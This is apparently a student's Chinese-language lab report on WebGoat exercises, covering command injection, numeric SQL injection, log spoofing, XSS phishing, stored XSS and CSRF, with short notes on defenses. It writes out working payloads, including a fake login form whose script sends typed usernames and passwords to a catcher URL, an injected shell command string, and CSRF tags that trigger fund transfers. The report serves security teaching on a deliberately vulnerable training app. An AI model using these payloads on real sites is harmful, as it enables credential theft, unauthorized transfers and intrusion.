Exp9 Web安全基础

一、实验目标

理解和应用常用网络攻击技术的基本原理。

二、实验步骤

(一)SQL注入攻击

1.命令注入:Command Injection

 

原理:命令注入是通过在应用中执行宿主操作系统的命令,来达到破坏目的的一种攻击方式。如果我们的应用程序将不安全的用户输入传递给了系统命令解析器(shell),那么命令攻击就有可能发生。

步骤:

选中 Injection Flaws->Command Injection->inspect Element,右键选中inspect Elemnet,对图示的代码进行修改,在"helpfile"后添加"& netstat -an & ipconfig"。

点击view,查看命令执行结果,可以看到攻击成功,能够看到攻击方与被攻击方建立了连接。

 

 

2.数字型注入:Numeric SQL Injection

原理:当我们的Web app在向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,那么恶意访问者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。

步骤:

选中Injection Flaws->Numeric SQL Injectio->inspect Element,对源代码value="101"修改,在101后面添加or 1=1。

or 1=1是返回正确的意思,能够使语句永真。

 

 

3.日志欺骗:Log Spoofing

 原理:向日志添加虚假信息或插入脚本,管理员通过浏览器观看日志时恶意脚本会被执行。

步骤:

选择Injection Flaws->Log Spoofing,在User Name中输入webgoat%0d%0aLogin Succeeded for username: admin

随意输入密码后点击Login,可以看到webgoat登陆失败了,而admin登陆成功了。

 

 

(二)XSS攻击

 

1.XSS 钓鱼:Phishing with XSS

原理:创建一个表单,让受害者填写用户名和密码信息,然后会截取用户信息提交到webgoat上去。

步骤:

在搜索框中输入XSS攻击代码,代码如下:

 

</form>
<script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

 

在搜索框中输入攻击代码后点击Search,出现要输入用户名密码的表单,输入用户名密码,显示攻击成功。

 

 

 

 

2.Stored XSS Attacks(存储型XSS攻击)

原理:攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。

步骤:

在Title中随意输入,在message中输入攻击代码<script>alert("lxm attack succeed!");</script>,点击Submit,攻击成功。

 

(三)CSRF攻击

1.Cross Site Request Forgery

原理:写一个URL诱使其他用户点击,从而触发CSRF攻击,以图片的的形式将URL放进Message框,当用户点击图片,就会触发CSRF。

步骤:

 

在message框中输入代码<img src="http://localhost:8080/WebGoat/attack?Screen=325&menu=900&transferFunds=4301"/>,在页面右侧一栏可以看到Screen=324&menu=900。点击Submit后,可以看到转走用户4000元的信息,实现CSRF攻击。

 

 

2.CSRF Prompt By-Pass

原理:与1类似,构造CSRF攻击,其包括两个请求,一是转账请求,二是确认转账成功请求。需要额外传递两个参数给服务器(transferFunds=5000, transferFunds=CONFIRM)

步骤:

 

在message中输入以下代码:

<iframe src="attack?Screen=280&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=280&menu=900&transferFunds=CONFIRM"> </iframe

攻击成功。

 

 

 

三、实验思考与体会

(一)基础问题回答

(1)SQL注入攻击原理,如何防御

原理:通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的。

如何防御:对代码进行处理,使用正则表达式过滤传入的参数,对一些包含sql注入的关键字进行过滤;采用字符串过滤;jsp中调用该函数检查是否包含非法字符。

(2)XSS攻击的原理,如何防御

原理:黑客通过HTML注入篡改网页,插入恶意脚本,即代码注入,XSS攻击允许恶意用户将代码注入到网页上,并能够被浏览器成功的执行,获取目标攻击网站cookie,使其他用户受到影响。

如何防御:在表单提交或者url参数传递前,对需要的参数进行过滤;检查用户输入的内容中是否有非法内容。

(3)CSRF攻击原理,如何防御

原理:攻击者盗用了用户的身份,以用户的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作。

如何防御:输入验证码来检测用户;在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个 token。

(二)实验体会

此次实验模拟了网络攻击的几种形式,可以看到在网站建设上要尽量的防止出现漏洞,以防被黑客所利用。

 

posted @ 2020-05-26 17:24  小糯诺诺  阅读(114)  评论(0编辑  收藏